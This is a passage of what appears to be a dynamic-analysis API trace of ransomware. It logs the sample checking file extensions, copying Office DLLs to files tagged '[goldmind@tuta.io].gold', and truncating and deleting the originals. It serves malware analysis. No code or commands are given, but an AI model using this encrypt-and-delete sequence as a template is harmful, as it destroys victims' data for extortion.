(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString=".1cd") returned 4 [0049.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0049.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0049.553] lstrlenW (lpString=".jpg") returned 4 [0049.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0049.554] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.554] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22 [0049.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0049.778] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=43520) returned 1 [0049.778] CloseHandle (hObject=0x19c) returned 1 [0049.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0049.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.778] lstrlenW (lpString=".doc") returned 4 [0049.778] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.779] lstrlenW (lpString=".docx") returned 5 [0049.779] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0049.779] lstrlenW (lpString=".pdf") returned 4 [0049.779] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString=".xls") returned 4 [0049.779] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString=".xlsx") returned 5 [0049.779] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0049.779] lstrlenW (lpString=".ppt") returned 4 [0049.779] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.779] lstrlenW (lpString=".zip") returned 4 [0049.779] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString=".rar") returned 4 [0049.779] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString=".bz2") returned 4 [0049.779] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.779] lstrlenW (lpString=".7z") returned 3 [0049.779] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.779] lstrlenW (lpString=".dbf") returned 4 [0049.779] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.779] lstrlenW (lpString=".1cd") returned 4 [0049.779] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.779] lstrlenW (lpString=".jpg") returned 4 [0049.779] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.779] lstrlenW (lpString=".doc") returned 4 [0049.779] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.779] lstrlenW (lpString=".docx") returned 5 [0049.779] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0049.779] lstrlenW (lpString=".pdf") returned 4 [0049.779] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString=".xls") returned 4 [0049.779] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString=".xlsx") returned 5 [0049.779] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0049.779] lstrlenW (lpString=".ppt") returned 4 [0049.779] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.779] lstrlenW (lpString=".zip") returned 4 [0049.779] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString=".rar") returned 4 [0049.779] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.779] lstrlenW (lpString=".bz2") returned 4 [0049.779] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.779] lstrlenW (lpString=".7z") returned 3 [0049.779] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.780] lstrlenW (lpString=".dbf") returned 4 [0049.780] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.780] lstrlenW (lpString=".1cd") returned 4 [0049.780] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0049.780] lstrlenW (lpString=".jpg") returned 4 [0049.780] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.780] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0049.780] lstrlenW (lpString="Microsoft.Ink.dll") returned 17 [0049.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.536] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=507904) returned 1 [0050.536] CloseHandle (hObject=0x178) returned 1 [0050.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0050.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.537] lstrlenW (lpString=".doc") returned 4 [0050.537] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString=".docx") returned 5 [0050.537] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0050.537] lstrlenW (lpString=".pdf") returned 4 [0050.537] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString=".xls") returned 4 [0050.537] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString=".xlsx") returned 5 [0050.537] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0050.537] lstrlenW (lpString=".ppt") returned 4 [0050.537] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.537] lstrlenW (lpString=".zip") returned 4 [0050.537] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString=".rar") returned 4 [0050.537] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString=".bz2") returned 4 [0050.537] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.537] lstrlenW (lpString=".7z") returned 3 [0050.537] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.537] lstrlenW (lpString=".dbf") returned 4 [0050.537] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.537] lstrlenW (lpString=".1cd") returned 4 [0050.537] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.537] lstrlenW (lpString=".jpg") returned 4 [0050.537] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.537] lstrlenW (lpString=".doc") returned 4 [0050.537] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString=".docx") returned 5 [0050.537] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0050.537] lstrlenW (lpString=".pdf") returned 4 [0050.537] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString=".xls") returned 4 [0050.537] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.537] lstrlenW (lpString=".xlsx") returned 5 [0050.538] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0050.538] lstrlenW (lpString=".ppt") returned 4 [0050.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.538] lstrlenW (lpString=".zip") returned 4 [0050.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.538] lstrlenW (lpString=".rar") returned 4 [0050.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.538] lstrlenW (lpString=".bz2") returned 4 [0050.538] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.538] lstrlenW (lpString=".7z") returned 3 [0050.538] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.538] lstrlenW (lpString=".dbf") returned 4 [0050.538] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.538] lstrlenW (lpString=".1cd") returned 4 [0050.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0050.538] lstrlenW (lpString=".jpg") returned 4 [0050.538] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.538] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.538] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0050.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.538] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=52656) returned 1 [0050.539] CloseHandle (hObject=0x178) returned 1 [0050.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0050.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.539] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.539] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.539] GetLastError () returned 0x0 [0050.539] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0050.541] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0050.542] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0050.542] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.542] SetEndOfFile (hFile=0x1b0) returned 1 [0050.543] CloseHandle (hObject=0x1b0) returned 1 [0050.543] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.543] SetEndOfFile (hFile=0x178) returned 1 [0050.544] CloseHandle (hObject=0x178) returned 1 [0050.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.544] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.544] lstrlenW (lpString=".doc") returned 4 [0050.544] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.544] lstrlenW (lpString=".docx") returned 5 [0050.544] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0050.544] lstrlenW (lpString=".pdf") returned 4 [0050.544] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.544] lstrlenW (lpString=".xls") returned 4 [0050.544] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.544] lstrlenW (lpString=".xlsx") returned 5 [0050.544] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0050.544] lstrlenW (lpString=".ppt") returned 4 [0050.544] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.544] lstrlenW (lpString=".zip") returned 4 [0050.544] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.544] lstrlenW (lpString=".rar") returned 4 [0050.544] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.544] lstrlenW (lpString=".bz2") returned 4 [0050.544] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.544] lstrlenW (lpString=".7z") returned 3 [0050.544] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.544] lstrlenW (lpString=".dbf") returned 4 [0050.545] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.545] lstrlenW (lpString=".1cd") returned 4 [0050.545] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.545] lstrlenW (lpString=".jpg") returned 4 [0050.545] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.545] lstrlenW (lpString=".doc") returned 4 [0050.545] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.545] lstrlenW (lpString=".docx") returned 5 [0050.545] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0050.545] lstrlenW (lpString=".pdf") returned 4 [0050.545] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.545] lstrlenW (lpString=".xls") returned 4 [0050.545] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.545] lstrlenW (lpString=".xlsx") returned 5 [0050.545] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0050.545] lstrlenW (lpString=".ppt") returned 4 [0050.545] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.545] lstrlenW (lpString=".zip") returned 4 [0050.545] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.545] lstrlenW (lpString=".rar") returned 4 [0050.545] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.545] lstrlenW (lpString=".bz2") returned 4 [0050.545] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.545] lstrlenW (lpString=".7z") returned 3 [0050.545] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.545] lstrlenW (lpString=".dbf") returned 4 [0050.545] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.545] lstrlenW (lpString=".1cd") returned 4 [0050.545] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0050.545] lstrlenW (lpString=".jpg") returned 4 [0050.545] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.545] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.545] lstrlenW (lpString="ACERECR.DLL") returned 11 [0050.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.546] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=20944) returned 1 [0050.546] CloseHandle (hObject=0x178) returned 1 [0050.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0050.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.547] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.547] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.548] GetLastError () returned 0x0 [0050.548] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x51d0, lpOverlapped=0x0) returned 1 [0050.549] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x51e0, lpOverlapped=0x0) returned 1 [0050.550] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0050.550] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.550] SetEndOfFile (hFile=0x1b0) returned 1 [0050.551] CloseHandle (hObject=0x1b0) returned 1 [0050.551] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.551] SetEndOfFile (hFile=0x178) returned 1 [0050.551] CloseHandle (hObject=0x178) returned 1 [0050.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.552] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.552] lstrlenW (lpString=".doc") returned 4 [0050.552] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.552] lstrlenW (lpString=".docx") returned 5 [0050.552] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0050.552] lstrlenW (lpString=".pdf") returned 4 [0050.552] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.552] lstrlenW (lpString=".xls") returned 4 [0050.552] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.552] lstrlenW (lpString=".xlsx") returned 5 [0050.552] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0050.552] lstrlenW (lpString=".ppt") returned 4 [0050.552] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.552] lstrlenW (lpString=".zip") returned 4 [0050.552] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.552] lstrlenW (lpString=".rar") returned 4 [0050.552] 